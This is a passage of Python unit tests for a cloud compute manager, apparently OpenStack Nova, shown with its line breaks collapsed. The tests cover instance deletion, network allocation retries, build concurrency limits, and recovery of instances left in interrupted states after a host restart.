specd_compute._delete_instance = orig_delete mock_inst = mock.Mock() mock_inst.uuid = 'inst-1' mock_inst.save = mock.Mock() mock_inst.destroy = mock.Mock() mock_inst.system_metadata = mock.Mock() def _mark_notify(*args, **kwargs): call_tracker._notify_about_instance_usage(*args, **kwargs) def _mark_shutdown(*args, **kwargs): call_tracker._shutdown_instance(*args, **kwargs) specd_compute.instance_events = call_tracker specd_compute._notify_about_instance_usage = _mark_notify specd_compute._shutdown_instance = _mark_shutdown mock_inst.info_cache = call_tracker specd_compute._delete_instance(specd_compute, self.context, mock_inst, mock.Mock(), mock.Mock()) methods_called = [n for n, a, k in call_tracker.mock_calls] self.assertEqual(['clear_events_for_instance', '_notify_about_instance_usage', '_shutdown_instance', 'delete'], methods_called) @mock.patch.object(manager.ComputeManager, '_get_resource_tracker') @mock.patch.object(fake_driver.FakeDriver, 'get_available_nodes') @mock.patch.object(manager.ComputeManager, '_get_compute_nodes_in_db') def test_update_available_resource(self, get_db_nodes, get_avail_nodes, get_rt): info = {'cn_id': 1} def _make_compute_node(hyp_hostname): cn = mock.Mock(spec_set=['hypervisor_hostname', 'id', 'destroy']) cn.id = info['cn_id'] info['cn_id'] += 1 cn.hypervisor_hostname = hyp_hostname return cn def _make_rt(node): n = mock.Mock(spec_set=['update_available_resource', 'nodename']) n.nodename = node return n ctxt = mock.Mock() db_nodes = [_make_compute_node('node1'), _make_compute_node('node2'), _make_compute_node('node3'), _make_compute_node('node4')] avail_nodes = set(['node2', 'node3', 'node4', 'node5']) avail_nodes_l = list(avail_nodes) rts = [_make_rt(node) for node in avail_nodes_l] # Make the 2nd and 3rd ones raise exc = exception.ComputeHostNotFound(host='fake') rts[1].update_available_resource.side_effect = exc exc = test.TestingException() rts[2].update_available_resource.side_effect = exc rts_iter = iter(rts) def _get_rt_side_effect(*args, **kwargs): return next(rts_iter) expected_rt_dict = {avail_nodes_l[0]: rts[0], avail_nodes_l[2]: rts[2], avail_nodes_l[3]: rts[3]} get_db_nodes.return_value = db_nodes get_avail_nodes.return_value = avail_nodes get_rt.side_effect = _get_rt_side_effect self.compute.update_available_resource(ctxt) get_db_nodes.assert_called_once_with(ctxt, use_slave=True) self.assertEqual([mock.call(node) for node in avail_nodes], get_rt.call_args_list) for rt in rts: rt.update_available_resource.assert_called_once_with(ctxt) self.assertEqual(expected_rt_dict, self.compute._resource_tracker_dict) # First node in set should have been removed from DB for db_node in db_nodes: if db_node.hypervisor_hostname == 'node1': db_node.destroy.assert_called_once_with() else: self.assertFalse(db_node.destroy.called) def test_delete_instance_without_info_cache(self): instance = fake_instance.fake_instance_obj( self.context, uuid='fake', vm_state=vm_states.ERROR, host=self.compute.host, expected_attrs=['system_metadata']) quotas = mock.create_autospec(objects.Quotas, spec_set=True) with contextlib.nested( mock.patch.object(self.compute, '_notify_about_instance_usage'), mock.patch.object(self.compute, '_shutdown_instance'), mock.patch.object(instance, 'obj_load_attr'), mock.patch.object(instance, 'save'), mock.patch.object(instance, 'destroy') ) as ( compute_notify_about_instance_usage, comupte_shutdown_instance, instance_obj_load_attr, instance_save, instance_destroy ): instance.info_cache = None self.compute._delete_instance(self.context, instance, [], quotas) @mock.patch.object(network_api.API, 'allocate_for_instance') @mock.patch.object(objects.Instance, 'save') @mock.patch.object(time, 'sleep') def test_allocate_network_succeeds_after_retries( self, mock_sleep, mock_save, mock_allocate_for_instance): self.flags(network_allocate_retries=8) instance = fake_instance.fake_instance_obj( self.context, expected_attrs=['system_metadata']) is_vpn = 'fake-is-vpn' req_networks = 'fake-req-networks' macs = 'fake-macs' sec_groups = 'fake-sec-groups' final_result = 'meow' dhcp_options = None mock_allocate_for_instance.side_effect = [ test.TestingException()] * 7 + [final_result] expected_sleep_times = [1, 2, 4, 8, 16, 30, 30, 30] res = self.compute._allocate_network_async(self.context, instance, req_networks, macs, sec_groups, is_vpn, dhcp_options) mock_sleep.has_calls(expected_sleep_times) self.assertEqual(final_result, res) # Ensure save is not called in while allocating networks, the instance # is saved after the allocation. self.assertFalse(mock_save.called) self.assertEqual('True', instance.system_metadata['network_allocated']) def test_allocate_network_fails(self): self.flags(network_allocate_retries=0) nwapi = self.compute.network_api self.mox.StubOutWithMock(nwapi, 'allocate_for_instance') instance = {} is_vpn = 'fake-is-vpn' req_networks = 'fake-req-networks' macs = 'fake-macs' sec_groups = 'fake-sec-groups' dhcp_options = None nwapi.allocate_for_instance( self.context, instance, vpn=is_vpn, requested_networks=req_networks, macs=macs, security_groups=sec_groups, dhcp_options=dhcp_options).AndRaise(test.TestingException()) self.mox.ReplayAll() self.assertRaises(test.TestingException, self.compute._allocate_network_async, self.context, instance, req_networks, macs, sec_groups, is_vpn, dhcp_options) def test_allocate_network_neg_conf_value_treated_as_zero(self): self.flags(network_allocate_retries=-1) nwapi = self.compute.network_api self.mox.StubOutWithMock(nwapi, 'allocate_for_instance') instance = {} is_vpn = 'fake-is-vpn' req_networks = 'fake-req-networks' macs = 'fake-macs' sec_groups = 'fake-sec-groups' dhcp_options = None # Only attempted once. nwapi.allocate_for_instance( self.context, instance, vpn=is_vpn, requested_networks=req_networks, macs=macs, security_groups=sec_groups, dhcp_options=dhcp_options).AndRaise(test.TestingException()) self.mox.ReplayAll() self.assertRaises(test.TestingException, self.compute._allocate_network_async, self.context, instance, req_networks, macs, sec_groups, is_vpn, dhcp_options) @mock.patch.object(network_api.API, 'allocate_for_instance') @mock.patch.object(manager.ComputeManager, '_instance_update') @mock.patch.object(time, 'sleep') def test_allocate_network_with_conf_value_is_one( self, sleep, _instance_update, allocate_for_instance): self.flags(network_allocate_retries=1) instance = fake_instance.fake_instance_obj( self.context, expected_attrs=['system_metadata']) is_vpn = 'fake-is-vpn' req_networks = 'fake-req-networks' macs = 'fake-macs' sec_groups = 'fake-sec-groups' dhcp_options = None final_result = 'zhangtralon' allocate_for_instance.side_effect = [test.TestingException(), final_result] res = self.compute._allocate_network_async(self.context, instance, req_networks, macs, sec_groups, is_vpn, dhcp_options) self.assertEqual(final_result, res) self.assertEqual(1, sleep.call_count) @mock.patch('nova.utils.spawn_n') @mock.patch('nova.compute.manager.ComputeManager.' '_do_build_and_run_instance') def _test_max_concurrent_builds(self, mock_dbari, mock_spawn): mock_spawn.side_effect = lambda f, *a, **k: f(*a, **k) with mock.patch.object(self.compute, '_build_semaphore') as mock_sem: instance = objects.Instance(uuid=str(uuid.uuid4())) for i in (1, 2, 3): self.compute.build_and_run_instance(self.context, instance, mock.sentinel.image, mock.sentinel.request_spec, {}) self.assertEqual(3, mock_sem.__enter__.call_count) def test_max_concurrent_builds_limited(self): self.flags(max_concurrent_builds=2) self._test_max_concurrent_builds() def test_max_concurrent_builds_unlimited(self): self.flags(max_concurrent_builds=0) self._test_max_concurrent_builds() def test_max_concurrent_builds_semaphore_limited(self): self.flags(max_concurrent_builds=123) self.assertEqual(123, manager.ComputeManager()._build_semaphore.balance) def test_max_concurrent_builds_semaphore_unlimited(self): self.flags(max_concurrent_builds=0) compute = manager.ComputeManager() self.assertEqual(0, compute._build_semaphore.balance) self.assertIsInstance(compute._build_semaphore, compute_utils.UnlimitedSemaphore) def test_nil_out_inst_obj_host_and_node_sets_nil(self): instance = fake_instance.fake_instance_obj(self.context, uuid='foo-uuid', host='foo-host', node='foo-node') self.assertIsNotNone(instance.host) self.assertIsNotNone(instance.node) self.compute._nil_out_instance_obj_host_and_node(instance) self.assertIsNone(instance.host) self.assertIsNone(instance.node) def test_init_host(self): our_host = self.compute.host inst = fake_instance.fake_db_instance( vm_state=vm_states.ACTIVE, info_cache=dict(test_instance_info_cache.fake_info_cache, network_info=None), security_groups=None) startup_instances = [inst, inst, inst] def _do_mock_calls(defer_iptables_apply): self.compute.driver.init_host(host=our_host) context.get_admin_context().AndReturn(self.context) db.instance_get_all_by_host( self.context, our_host, columns_to_join=['info_cache', 'metadata'], use_slave=False ).AndReturn(startup_instances) if defer_iptables_apply: self.compute.driver.filter_defer_apply_on() self.compute._destroy_evacuated_instances(self.context) self.compute._init_instance(self.context, mox.IsA(objects.Instance)) self.compute._init_instance(self.context, mox.IsA(objects.Instance)) self.compute._init_instance(self.context, mox.IsA(objects.Instance)) if defer_iptables_apply: self.compute.driver.filter_defer_apply_off() self.mox.StubOutWithMock(self.compute.driver, 'init_host') self.mox.StubOutWithMock(self.compute.driver, 'filter_defer_apply_on') self.mox.StubOutWithMock(self.compute.driver, 'filter_defer_apply_off') self.mox.StubOutWithMock(db, 'instance_get_all_by_host') self.mox.StubOutWithMock(context, 'get_admin_context') self.mox.StubOutWithMock(self.compute, '_destroy_evacuated_instances') self.mox.StubOutWithMock(self.compute, '_init_instance') # Test with defer_iptables_apply self.flags(defer_iptables_apply=True) _do_mock_calls(True) self.mox.ReplayAll() self.compute.init_host() self.mox.VerifyAll() # Test without defer_iptables_apply self.mox.ResetAll() self.flags(defer_iptables_apply=False) _do_mock_calls(False) self.mox.ReplayAll() self.compute.init_host() # tearDown() uses context.get_admin_context(), so we have # to do the verification here and unstub it. self.mox.VerifyAll() self.mox.UnsetStubs() @mock.patch('nova.objects.InstanceList') @mock.patch('nova.objects.MigrationList.get_by_filters') def test_cleanup_host(self, mock_miglist_get, mock_instance_list): # just testing whether the cleanup_host method # when fired will invoke the underlying driver's # equivalent method. mock_miglist_get.return_value = [] mock_instance_list.get_by_host.return_value = [] with mock.patch.object(self.compute, 'driver') as mock_driver: self.compute.init_host() mock_driver.init_host.assert_called_once_with(host='fake-mini') self.compute.cleanup_host() # register_event_listener is called on startup (init_host) and # in cleanup_host mock_driver.register_event_listener.assert_has_calls([ mock.call(self.compute.handle_events), mock.call(None)]) mock_driver.cleanup_host.assert_called_once_with(host='fake-mini') def test_init_virt_events_disabled(self): self.flags(handle_virt_lifecycle_events=False, group='workarounds') with mock.patch.object(self.compute.driver, 'register_event_listener') as mock_register: self.compute.init_virt_events() self.assertFalse(mock_register.called) @mock.patch('nova.objects.MigrationList.get_by_filters') @mock.patch('nova.objects.Migration.save') def test_init_host_with_evacuated_instance(self, mock_save, mock_mig_get): our_host = self.compute.host not_our_host = 'not-' + our_host deleted_instance = fake_instance.fake_instance_obj( self.context, host=not_our_host, uuid='fake-uuid') migration = objects.Migration(instance_uuid=deleted_instance.uuid) mock_mig_get.return_value = [migration] self.mox.StubOutWithMock(self.compute.driver, 'init_host') self.mox.StubOutWithMock(self.compute.driver, 'destroy') self.mox.StubOutWithMock(db, 'instance_get_all_by_host') self.mox.StubOutWithMock(context, 'get_admin_context') self.mox.StubOutWithMock(self.compute, 'init_virt_events') self.mox.StubOutWithMock(self.compute, '_get_instances_on_driver') self.mox.StubOutWithMock(self.compute, '_init_instance') self.mox.StubOutWithMock(self.compute.network_api, 'get_instance_nw_info') self.compute.driver.init_host(host=our_host) context.get_admin_context().AndReturn(self.context) db.instance_get_all_by_host(self.context, our_host, columns_to_join=['info_cache', 'metadata'], use_slave=False ).AndReturn([]) self.compute.init_virt_events() # simulate failed instance self.compute._get_instances_on_driver( self.context, {'deleted': False}).AndReturn([deleted_instance]) self.compute.network_api.get_instance_nw_info( self.context, deleted_instance).AndRaise( exception.InstanceNotFound(instance_id=deleted_instance['uuid'])) # ensure driver.destroy is called so that driver may # clean up any dangling files self.compute.driver.destroy(self.context, deleted_instance, mox.IgnoreArg(), mox.IgnoreArg(), mox.IgnoreArg()) self.mox.ReplayAll() self.compute.init_host() # tearDown() uses context.get_admin_context(), so we have # to do the verification here and unstub it. self.mox.VerifyAll() self.mox.UnsetStubs() def test_init_instance_with_binding_failed_vif_type(self): # this instance will plug a 'binding_failed' vif instance = fake_instance.fake_instance_obj( self.context, uuid='fake-uuid', info_cache=None, power_state=power_state.RUNNING, vm_state=vm_states.ACTIVE, task_state=None, host=self.compute.host, expected_attrs=['info_cache']) with contextlib.nested( mock.patch.object(context, 'get_admin_context', return_value=self.context), mock.patch.object(compute_utils, 'get_nw_info_for_instance', return_value=network_model.NetworkInfo()), mock.patch.object(self.compute.driver, 'plug_vifs', side_effect=exception.VirtualInterfacePlugException( "Unexpected vif_type=binding_failed")), mock.patch.object(self.compute, '_set_instance_obj_error_state') ) as (get_admin_context, get_nw_info, plug_vifs, set_error_state): self.compute._init_instance(self.context, instance) set_error_state.assert_called_once_with(self.context, instance) def test__get_power_state_InstanceNotFound(self): instance = fake_instance.fake_instance_obj( self.context, power_state=power_state.RUNNING) with mock.patch.object(self.compute.driver, 'get_info', side_effect=exception.InstanceNotFound(instance_id=1)): self.assertEqual(self.compute._get_power_state(self.context, instance), power_state.NOSTATE) def test__get_power_state_NotFound(self): instance = fake_instance.fake_instance_obj( self.context, power_state=power_state.RUNNING) with mock.patch.object(self.compute.driver, 'get_info', side_effect=exception.NotFound()): self.assertRaises(exception.NotFound, self.compute._get_power_state, self.context, instance) def test_init_instance_failed_resume_sets_error(self): instance = fake_instance.fake_instance_obj( self.context, uuid='fake-uuid', info_cache=None, power_state=power_state.RUNNING, vm_state=vm_states.ACTIVE, task_state=None, host=self.compute.host, expected_attrs=['info_cache']) self.flags(resume_guests_state_on_host_boot=True) self.mox.StubOutWithMock(self.compute, '_get_power_state') self.mox.StubOutWithMock(self.compute.driver, 'plug_vifs') self.mox.StubOutWithMock(self.compute.driver, 'resume_state_on_host_boot') self.mox.StubOutWithMock(self.compute, '_get_instance_block_device_info') self.mox.StubOutWithMock(self.compute, '_set_instance_obj_error_state') self.compute._get_power_state(mox.IgnoreArg(), instance).AndReturn(power_state.SHUTDOWN) self.compute._get_power_state(mox.IgnoreArg(), instance).AndReturn(power_state.SHUTDOWN) self.compute._get_power_state(mox.IgnoreArg(), instance).AndReturn(power_state.SHUTDOWN) self.compute.driver.plug_vifs(instance, mox.IgnoreArg()) self.compute._get_instance_block_device_info(mox.IgnoreArg(), instance).AndReturn('fake-bdm') self.compute.driver.resume_state_on_host_boot(mox.IgnoreArg(), instance, mox.IgnoreArg(), 'fake-bdm').AndRaise(test.TestingException) self.compute._set_instance_obj_error_state(mox.IgnoreArg(), instance) self.mox.ReplayAll() self.compute._init_instance('fake-context', instance) @mock.patch.object(objects.BlockDeviceMapping, 'destroy') @mock.patch.object(objects.BlockDeviceMappingList, 'get_by_instance_uuid') @mock.patch.object(objects.Instance, 'destroy') @mock.patch.object(objects.Instance, 'obj_load_attr') @mock.patch.object(objects.quotas.Quotas, 'commit') @mock.patch.object(objects.quotas.Quotas, 'reserve') @mock.patch.object(objects.quotas, 'ids_from_instance') def test_init_instance_complete_partial_deletion( self, mock_ids_from_instance, mock_reserve, mock_commit, mock_inst_destroy, mock_obj_load_attr, mock_get_by_instance_uuid, mock_bdm_destroy): """Test to complete deletion for instances in DELETED status but not marked as deleted in the DB """ instance = fake_instance.fake_instance_obj( self.context, project_id='fake', uuid='fake-uuid', vcpus=1, memory_mb=64, power_state=power_state.SHUTDOWN, vm_state=vm_states.DELETED, host=self.compute.host, task_state=None, deleted=False, deleted_at=None, metadata={}, system_metadata={}, expected_attrs=['metadata', 'system_metadata']) # Make sure instance vm_state is marked as 'DELETED' but instance is # not destroyed from db. self.assertEqual(vm_states.DELETED, instance.vm_state) self.assertFalse(instance.deleted) deltas = {'instances': -1, 'cores': -instance.vcpus, 'ram': -instance.memory_mb} def fake_inst_destroy(): instance.deleted = True instance.deleted_at = timeutils.utcnow() mock_ids_from_instance.return_value = (instance.project_id, instance.user_id) mock_inst_destroy.side_effect = fake_inst_destroy() self.compute._init_instance(self.context, instance) # Make sure that instance.destroy method was called and # instance was deleted from db. self.assertTrue(mock_reserve.called) self.assertTrue(mock_commit.called) self.assertNotEqual(0, instance.deleted) mock_reserve.assert_called_once_with(project_id=instance.project_id, user_id=instance.user_id, **deltas) @mock.patch('nova.compute.manager.LOG') def test_init_instance_complete_partial_deletion_raises_exception( self, mock_log): instance = fake_instance.fake_instance_obj( self.context, project_id='fake', uuid='fake-uuid', vcpus=1, memory_mb=64, power_state=power_state.SHUTDOWN, vm_state=vm_states.DELETED, host=self.compute.host, task_state=None, deleted=False, deleted_at=None, metadata={}, system_metadata={}, expected_attrs=['metadata', 'system_metadata']) with mock.patch.object(self.compute, '_complete_partial_deletion') as mock_deletion: mock_deletion.side_effect = test.TestingException() self.compute._init_instance(self, instance) msg = u'Failed to complete a deletion' mock_log.exception.assert_called_once_with(msg, instance=instance) def test_init_instance_stuck_in_deleting(self): instance = fake_instance.fake_instance_obj( self.context, project_id='fake', uuid='fake-uuid', vcpus=1, memory_mb=64, power_state=power_state.RUNNING, vm_state=vm_states.ACTIVE, host=self.compute.host, task_state=task_states.DELETING) self.mox.StubOutWithMock(objects.BlockDeviceMappingList, 'get_by_instance_uuid') self.mox.StubOutWithMock(self.compute, '_delete_instance') self.mox.StubOutWithMock(instance, 'obj_load_attr') self.mox.StubOutWithMock(self.compute, '_create_reservations') bdms = [] quotas = objects.quotas.Quotas(self.context) instance.obj_load_attr('metadata') instance.obj_load_attr('system_metadata') objects.BlockDeviceMappingList.get_by_instance_uuid( self.context, instance.uuid).AndReturn(bdms) self.compute._create_reservations(self.context, instance, instance.project_id, instance.user_id).AndReturn(quotas) self.compute._delete_instance(self.context, instance, bdms, mox.IgnoreArg()) self.mox.ReplayAll() self.compute._init_instance(self.context, instance) @mock.patch.object(objects.Instance, 'get_by_uuid') @mock.patch.object(objects.BlockDeviceMappingList, 'get_by_instance_uuid') def test_init_instance_stuck_in_deleting_raises_exception( self, mock_get_by_instance_uuid, mock_get_by_uuid): instance = fake_instance.fake_instance_obj( self.context, project_id='fake', uuid='fake-uuid', vcpus=1, memory_mb=64, metadata={}, system_metadata={}, host=self.compute.host, vm_state=vm_states.ACTIVE, task_state=task_states.DELETING, expected_attrs=['metadata', 'system_metadata']) bdms = [] reservations = ['fake-resv'] def _create_patch(name, attr): patcher = mock.patch.object(name, attr) mocked_obj = patcher.start() self.addCleanup(patcher.stop) return mocked_obj mock_delete_instance = _create_patch(self.compute, '_delete_instance') mock_set_instance_error_state = _create_patch( self.compute, '_set_instance_obj_error_state') mock_create_reservations = _create_patch(self.compute, '_create_reservations') mock_create_reservations.return_value = reservations mock_get_by_instance_uuid.return_value = bdms mock_get_by_uuid.return_value = instance mock_delete_instance.side_effect = test.TestingException('test') self.compute._init_instance(self.context, instance) mock_set_instance_error_state.assert_called_once_with( self.context, instance) def _test_init_instance_reverts_crashed_migrations(self, old_vm_state=None): power_on = True if (not old_vm_state or old_vm_state == vm_states.ACTIVE) else False sys_meta = { 'old_vm_state': old_vm_state } instance = fake_instance.fake_instance_obj( self.context, uuid='foo', vm_state=vm_states.ERROR, task_state=task_states.RESIZE_MIGRATING, power_state=power_state.SHUTDOWN, system_metadata=sys_meta, host=self.compute.host, expected_attrs=['system_metadata']) self.mox.StubOutWithMock(compute_utils, 'get_nw_info_for_instance') self.mox.StubOutWithMock(self.compute.driver, 'plug_vifs') self.mox.StubOutWithMock(self.compute.driver, 'finish_revert_migration') self.mox.StubOutWithMock(self.compute, '_get_instance_block_device_info') self.mox.StubOutWithMock(self.compute.driver, 'get_info') self.mox.StubOutWithMock(instance, 'save') self.mox.StubOutWithMock(self.compute, '_retry_reboot') self.compute._retry_reboot(self.context, instance).AndReturn( (False, None)) compute_utils.get_nw_info_for_instance(instance).AndReturn( network_model.NetworkInfo()) self.compute.driver.plug_vifs(instance, []) self.compute._get_instance_block_device_info( self.context, instance).AndReturn([]) self.compute.driver.finish_revert_migration(self.context, instance, [], [], power_on) instance.save() self.compute.driver.get_info(instance).AndReturn( hardware.InstanceInfo(state=power_state.SHUTDOWN)) self.compute.driver.get_info(instance).AndReturn( hardware.InstanceInfo(state=power_state.SHUTDOWN)) self.mox.ReplayAll() self.compute._init_instance(self.context, instance) self.assertIsNone(instance.task_state) def test_init_instance_reverts_crashed_migration_from_active(self): self._test_init_instance_reverts_crashed_migrations( old_vm_state=vm_states.ACTIVE) def test_init_instance_reverts_crashed_migration_from_stopped(self): self._test_init_instance_reverts_crashed_migrations( old_vm_state=vm_states.STOPPED) def test_init_instance_reverts_crashed_migration_no_old_state(self): self._test_init_instance_reverts_crashed_migrations(old_vm_state=None) def test_init_instance_resets_crashed_live_migration(self): instance = fake_instance.fake_instance_obj( self.context, uuid='foo', vm_state=vm_states.ACTIVE, host=self.compute.host, task_state=task_states.MIGRATING) with contextlib.nested( mock.patch.object(instance, 'save'), mock.patch('nova.compute.utils.get_nw_info_for_instance', return_value=network_model.NetworkInfo()) ) as (save, get_nw_info): self.compute._init_instance(self.context, instance) save.assert_called_once_with(expected_task_state=['migrating']) get_nw_info.assert_called_once_with(instance) self.assertIsNone(instance.task_state) self.assertEqual(vm_states.ACTIVE, instance.vm_state) def _test_init_instance_sets_building_error(self, vm_state, task_state=None): instance = fake_instance.fake_instance_obj( self.context, uuid='foo', vm_state=vm_state, host=self.compute.host, task_state=task_state) with mock.patch.object(instance, 'save') as save: self.compute._init_instance(self.context, instance) save.assert_called_once_with() self.assertIsNone(instance.task_state) self.assertEqual(vm_states.ERROR, instance.vm_state) def test_init_instance_sets_building_error(self): self._test_init_instance_sets_building_error(vm_states.BUILDING) def test_init_instance_sets_rebuilding_errors(self): tasks = [task_states.REBUILDING, task_states.REBUILD_BLOCK_DEVICE_MAPPING, task_states.REBUILD_SPAWNING] vms = [vm_states.ACTIVE, vm_states.STOPPED] for vm_state in vms: for task_state in tasks: self._test_init_instance_sets_building_error( vm_state, task_state) def _test_init_instance_sets_building_tasks_error(self, instance): instance.host = self.compute.host with mock.patch.object(instance, 'save') as save: self.compute._init_instance(self.context, instance) save.assert_called_once_with() self.assertIsNone(instance.task_state) self.assertEqual(vm_states.ERROR, instance.vm_state) def test_init_instance_sets_building_tasks_error_scheduling(self): instance = fake_instance.fake_instance_obj( self.context, uuid='foo', vm_state=None, task_state=task_states.SCHEDULING) self._test_init_instance_sets_building_tasks_error(instance) def test_init_instance_sets_building_tasks_error_block_device(self): instance = objects.Instance(self.context) instance.uuid = 'foo' instance.vm_state = None instance.task_state = task_states.BLOCK_DEVICE_MAPPING self._test_init_instance_sets_building_tasks_error(instance) def test_init_instance_sets_building_tasks_error_networking(self): instance = objects.Instance(self.context) instance.uuid = 'foo' instance.vm_state = None instance.task_state = task_states.NETWORKING self._test_init_instance_sets_building_tasks_error(instance) def test_init_instance_sets_building_tasks_error_spawning(self): instance = objects.Instance(self.context) instance.uuid = 'foo' instance.vm_state = None instance.task_state = task_states.SPAWNING self._test_init_instance_sets_building_tasks_error(instance) def _test_init_instance_cleans_image_states(self, instance): with mock.patch.object(instance, 'save') as save: self.compute._get_power_state = mock.Mock() self.compute.driver.post_interrupted_snapshot_cleanup = mock.Mock() instance.info_cache = None instance.power_state = power_state.RUNNING instance.host = self.compute.host self.compute._init_instance(self.context, instance) save.assert_called_once_with() self.compute.driver.post_interrupted_snapshot_cleanup.\ assert_called_once_with(self.context, instance) self.assertIsNone(instance.task_state) @mock.patch('nova.compute.manager.ComputeManager._get_power_state', return_value=power_state.RUNNING) @mock.patch.object(objects.BlockDeviceMappingList, 'get_by_instance_uuid') def _test_init_instance_cleans_task_states(self, powerstate, state, mock_get_uuid, mock_get_power_state): instance = objects.Instance(self.context) instance.uuid = 'fake-uuid' instance.info_cache = None instance.power_state = power_state.RUNNING instance.vm_state = vm_states.ACTIVE instance.task_state = state instance.host = self.compute.host mock_get_power_state.return_value = powerstate self.compute._init_instance(self.context, instance) return instance def test_init_instance_cleans_image_state_pending_upload(self): instance = objects.Instance(self.context) instance.uuid = 'foo' instance.vm_state = vm_states.ACTIVE instance.task_state = task_states.IMAGE_PENDING_UPLOAD self._test_init_instance_cleans_image_states(instance) def test_init_instance_cleans_image_state_uploading(self): instance = objects.Instance(self.context) instance.uuid = 'foo' instance.vm_state = vm_states.ACTIVE instance.task_state = task_states.IMAGE_UPLOADING self._test_init_instance_cleans_image_states(instance) def test_init_instance_cleans_image_state_snapshot(self): instance = objects.Instance(self.context) instance.uuid = 'foo' instance.vm_state = vm_states.ACTIVE instance.task_state = task_states.IMAGE_SNAPSHOT self._test_init_instance_cleans_image_states(instance) def test_init_instance_cleans_image_state_snapshot_pending(self): instance = objects.Instance(self.context) instance.uuid = 'foo' instance.vm_state = vm_states.ACTIVE instance.task_state = task_states.IMAGE_SNAPSHOT_PENDING self._test_init_instance_cleans_image_states(instance) @mock.patch.object(objects.Instance, 'save') def test_init_instance_cleans_running_pausing(self, mock_save): instance = self._test_init_instance_cleans_task_states( power_state.RUNNING, task_states.PAUSING) mock_save.assert_called_once_with() self.assertEqual(vm_states.ACTIVE, instance.vm_state) self.assertIsNone(instance.task_state) @mock.patch.object(objects.Instance, 'save') def test_init_instance_cleans_running_unpausing(self, mock_save): instance = self._test_init_instance_cleans_task_states( power_state.RUNNING, task_states.UNPAUSING) mock_save.assert_called_once_with() self.assertEqual(vm_states.ACTIVE, instance.vm_state) self.assertIsNone(instance.task_state) @mock.patch('nova.compute.manager.ComputeManager.unpause_instance') def test_init_instance_cleans_paused_unpausing(self, mock_unpause): def fake_unpause(context, instance): instance.task_state = None mock_unpause.side_effect = fake_unpause instance = self._test_init_instance_cleans_task_states( power_state.PAUSED, task_states.UNPAUSING) mock_unpause.assert_called_once_with(self.context, instance) self.assertEqual(vm_states.ACTIVE, instance.vm_state) self.assertIsNone(instance.task_state) def test_init_instance_errors_when_not_migrating(self): instance = objects.Instance(self.context) instance.uuid = 'foo' instance.vm_state = vm_states.ERROR instance.task_state = task_states.IMAGE_UPLOADING instance.host = self.compute.host self.mox.StubOutWithMock(compute_utils, 'get_nw_info_for_instance') self.mox.ReplayAll() self.compute._init_instance(self.context, instance) self.mox.VerifyAll() def test_init_instance_deletes_error_deleting_instance(self): instance = fake_instance.fake_instance_obj( self.context, project_id='fake', uuid='fake-uuid', vcpus=1, memory_mb=64, vm_state=vm_states.ERROR, host=self.compute.host, task_state=task_states.DELETING) self.mox.StubOutWithMock(objects.BlockDeviceMappingList, 'get_by_instance_uuid') self.mox.StubOutWithMock(self.compute, '_delete_instance') self.mox.StubOutWithMock(instance, 'obj_load_attr') self.mox.StubOutWithMock(objects.quotas, 'ids_from_instance') self.mox.StubOutWithMock(self.compute, '_create_reservations') bdms = [] quotas = objects.quotas.Quotas(self.context) instance.obj_load_attr('metadata') instance.obj_load_attr('system_metadata') objects.BlockDeviceMappingList.get_by_instance_uuid( self.context, instance.uuid).AndReturn(bdms) objects.quotas.ids_from_instance(self.context, instance).AndReturn( (instance.project_id, instance.user_id)) self.compute._create_reservations(self.context, instance, instance.project_id, instance.user_id).AndReturn(quotas) self.compute._delete_instance(self.context, instance, bdms, mox.IgnoreArg()) self.mox.ReplayAll() self.compute._init_instance(self.context, instance) self.mox.VerifyAll() def test_init_instance_resize_prep(self): instance = fake_instance.fake_instance_obj( self.context, uuid='fake', vm_state=vm_states.ACTIVE, host=self.compute.host, task_state=task_states.RESIZE_PREP, power_state=power_state.RUNNING) with contextlib.nested( mock.patch.object(self.compute, '_get_power_state', return_value=power_state.RUNNING), mock.patch.object(compute_utils, 'get_nw_info_for_instance'), mock.patch.object(instance, 'save', autospec=True) ) as (mock_get_power_state, mock_nw_info, mock_instance_save): self.compute._init_instance(self.context, instance) mock_instance_save.assert_called_once_with() self.assertIsNone(instance.task_state) @mock.patch('nova.context.RequestContext.elevated') @mock.patch('nova.compute.utils.get_nw_info_for_instance') @mock.patch( 'nova.compute.manager.ComputeManager._get_instance_block_device_info') @mock.patch('nova.virt.driver.ComputeDriver.destroy') @mock.patch('nova.virt.driver.ComputeDriver.get_volume_connector') def _test_shutdown_instance_exception(self, exc, mock_connector, mock_destroy, mock_blk_device_info, mock_nw_info, mock_elevated): mock_connector.side_effect = exc mock_elevated.return_value = self.context instance = fake_instance.fake_instance_obj( self.context, uuid='fake', vm_state=vm_states.ERROR, task_state=task_states.DELETING) bdms = [mock.Mock(id=1, is_volume=True)] self.compute._shutdown_instance(self.context, instance, bdms, notify=False, try_deallocate_networks=False) def test_shutdown_instance_endpoint_not_found(self): exc = cinder_exception.EndpointNotFound self._test_shutdown_instance_exception(exc) def test_shutdown_instance_client_exception(self): exc = cinder_exception.ClientException self._test_shutdown_instance_exception(exc) def test_shutdown_instance_volume_not_found(self): exc = exception.VolumeNotFound self._test_shutdown_instance_exception(exc) def test_shutdown_instance_disk_not_found(self): exc = exception.DiskNotFound self._test_shutdown_instance_exception(exc) def test_shutdown_instance_other_exception(self): exc = Exception('some other exception') self._test_shutdown_instance_exception(exc) def _test_init_instance_retries_reboot(self, instance, reboot_type, return_power_state): instance.host = self.compute.host with contextlib.nested( mock.patch.object(self.compute, '_get_power_state', return_value=return_power_state), mock.patch.object(self.compute, 'reboot_instance'), mock.patch.object(compute_utils, 'get_nw_info_for_instance') ) as ( _get_power_state, reboot_instance, get_nw_info_for_instance ): self.compute._init_instance(self.context, instance) call = mock.call(self.context, instance, block_device_info=None, reboot_type=reboot_type) reboot_instance.assert_has_calls([call]) def test_init_instance_retries_reboot_pending(self): instance = objects.Instance(self.context) instance.uuid = 'foo' instance.task_state = task_states.REBOOT_PENDING for state in vm_states.ALLOW_SOFT_REBOOT: instance.vm_state = state self._test_init_instance_retries_reboot(instance, 'SOFT', power_state.RUNNING) def test_init_instance_retries_reboot_pending_hard(self): instance = objects.Instance(self.context) instance.uuid = 'foo' instance.task_state = task_states.REBOOT_PENDING_HARD for state in vm_states.ALLOW_HARD_REBOOT: # NOTE(dave-mcnally) while a reboot of a vm in error state is # possible we don't attempt to recover an error during init if state == vm_states.ERROR: continue instance.vm_state = state self._test_init_instance_retries_reboot(instance, 'HARD', power_state.RUNNING) def test_init_instance_retries_reboot_pending_soft_became_hard(self): instance = objects.Instance(self.context) instance.uuid = 'foo' instance.task_state = task_states.REBOOT_PENDING for state in 